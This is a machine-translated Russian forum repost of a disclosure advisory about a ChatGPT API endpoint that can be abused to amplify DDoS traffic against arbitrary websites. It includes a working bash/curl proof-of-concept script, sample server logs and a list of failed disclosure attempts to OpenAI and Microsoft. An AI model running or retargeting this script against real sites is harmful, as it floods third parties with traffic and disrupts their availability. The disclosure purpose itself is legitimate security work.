Уязвимость OpenAI API: Как ChatGPT может стать инструментом для DDoS-атак

Переводчик Google

Серьезность: высокая (8.6 по шкале CVSS), так как уязвимость основана на сети, имеет низкую сложность, не требует привилегий или взаимодействия с пользователем. Она изменяет область действия, не затрагивает конфиденциальность или целостность, но значительно влияет на доступность.

Сканер ChatGPT может быть запущен для DDoS-атаки на веб-сайт жертвы через HTTP-запрос к несвязанному API ChatGPT. Этот дефект в программном обеспечении OpenAI может привести к DDoS-атаке на веб-сайт жертвы с использованием нескольких диапазонов IP-адресов Microsoft Azure, на которых работает ChatGPT.

Подробности​

API ChatGPT демонстрирует критическую уязвимость при обработке запросов HTTP POST к https://chatgpt.com/backend-api/attributions API ожидает список гиперссылок в параметре urls. Общеизвестно, что гиперссылки на один и тот же сайт могут быть написаны по-разному. Из-за плохой практики программирования OpenAI не проверяет, появляется ли гиперссылка на один и тот же ресурс в списке несколько раз. OpenAI также не ограничивает максимальное количество гиперссылок, передаваемых в параметре urls, что позволяет отправлять тысячи гиперссылок в одном HTTP-запросе.

Сразу после получения правильно сформированного запроса HTTP POST OpenAI https://chatgpt.com/backend-api/attributions Конечная точка API, OpenAI инициирует один HTTP-запрос для каждой гиперссылки, содержащейся в urls параметр с серверов OpenAI, расположенных в облаке Microsoft Azure. На этом этапе веб-сайт-жертва будет испытывать большое количество попыток параллельного подключения и HTTP-запросов от серверов OpenAI. Несмотря на то, что OpenAI знает, что они отправляют большое количество запросов на один и тот же веб-сайт в один и тот же момент времени, они не предпринимают никаких попыток ограничить количество подключений к одному и тому же веб-сайту или даже предотвратить выдачу повторяющихся запросов. на тот же ресурс.

В зависимости от количества гиперссылок, передаваемых в OpenAI через urls параметр, большое количество подключений с серверов OpenAI может перегрузить веб-сайт жертвы..

Этот программный дефект значительно усиливает потенциальные DDoS-атаки. OpenAI демонстрирует недостаточный контроль качества при разработке ПО и должна устранить этот дефект как можно скорее.

Доказательство концепции:​

Этот код, подтверждающий концепцию, подчеркивает дефекты API OpenAI, инициируя отправку 50 HTTP-запросов с серверов OpenAI на my-website.localhost.
Bash:
#!/bin/bash

echo {1..50} | tr ' ' '\n' | (
  while read -r i;
    do echo "https://my-website.localhost:$RANDOM/$i-$RANDOM.txt";
  done
) | jq -R -s -j -c '{ "urls": split("\n")[:-1] }' \
| curl -v --http1.1 \
  -H 'user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.32 (KHTML, like Gecko) Chrome/133.0.0.1 Safari/535.32' \
  -H "content-type: application/json" \
  -H 'origin: https://www.chatgpt.com' \
  --data-binary @- -X POST 'https://chatgpt.com/backend-api/attributions'

Файлы журналов на веб-сервере покажет множество попыток подключения ChatGPT Crawler происходит в ту же секунду:
Код:
...
2025-01-10 40.84.221.211 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"
2025-01-10 40.84.221.210 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"
2025-01-10 40.84.221.208 "GET /9185 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"
2025-01-10 40.84.221.208 "GET /1190 HTTP/2.0" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"
...

Раскрытие информации​

Этот дефект программного обеспечения был обнаружен в январе 2025 года и ответственно раскрыт как OpenAI как владельцу дефектного программного обеспечения, так и Microsoft как владельцу серверов, которые порождают огромное количество потенциально вредоносных веб-запросов..

К сожалению, своевременно получить реакцию ни от одной из сторон не удалось, хотя было предпринято множество попыток устранить этот программный дефект, в том числе:

  • связаться с командой безопасности OpenAI через отчет на их платформе отчетов об уязвимостях BugCrowd (от OpenAI нет ответа))
  • связавшись с командой безопасности OpenAI по электронной почте, чтобы disclosure@openai.com как описано в .well-known/security.txt файл на своем веб-сервере (сообщение «почтовый ящик больше не используется», нет ответа от OpenAI)
  • связываться с сотрудниками OpenAI через отчеты и рекомендации по безопасности, размещенные в их репозиториях GitHub (от OpenAI нет ответа)
  • связаться с офицером по конфиденциальности данных OpenAI по электронной почте, чтобы privacy@openai.com и dsar@openai.com (ответ по электронной почте, написанный искусственным интеллектом и указывающий на веб-сайт часто задаваемых вопросов)
  • связавшись со службой поддержки OpenAI по электронной почте, чтобы support@openai.com (ответ по электронной почте, написанный искусственным интеллектом и указывающий на веб-сайт часто задаваемых вопросов)
  • связавшись с командой безопасности Microsoft по электронной почте, чтобы secure@microsoft.com, abuse@microsoft.com, и многое другое (нет ответа от Microsoft)
  • связаться со службой безопасности Microsoft через формы, заполненные на cert.microsoft.com (ответ по электронной почте, написанный AI: «Дело закрыто")
  • обращение в группу эксплуатации сети Microsoft Azure по электронной почте контактам, указанным в записях WHOIS (отсутствие ответа от Microsoft).)
  • связаться со службой безопасности CloudFlare через отчет на HackerOne, поскольку CloudFlare предоставляет сервер шлюза для https://chatgpt.com (Сотрудники HackerOne закрывают отчет как «информативный» и отказываются передавать информацию в CloudFlare)
По состоянию на пятницу, 10 января 2025 года, после множества обращений по официальным каналам, OpenAI и Microsoft не устранили этот дефект программного обеспечения и не признали его существования.

По мотивам
 
Назад
Сверху Снизу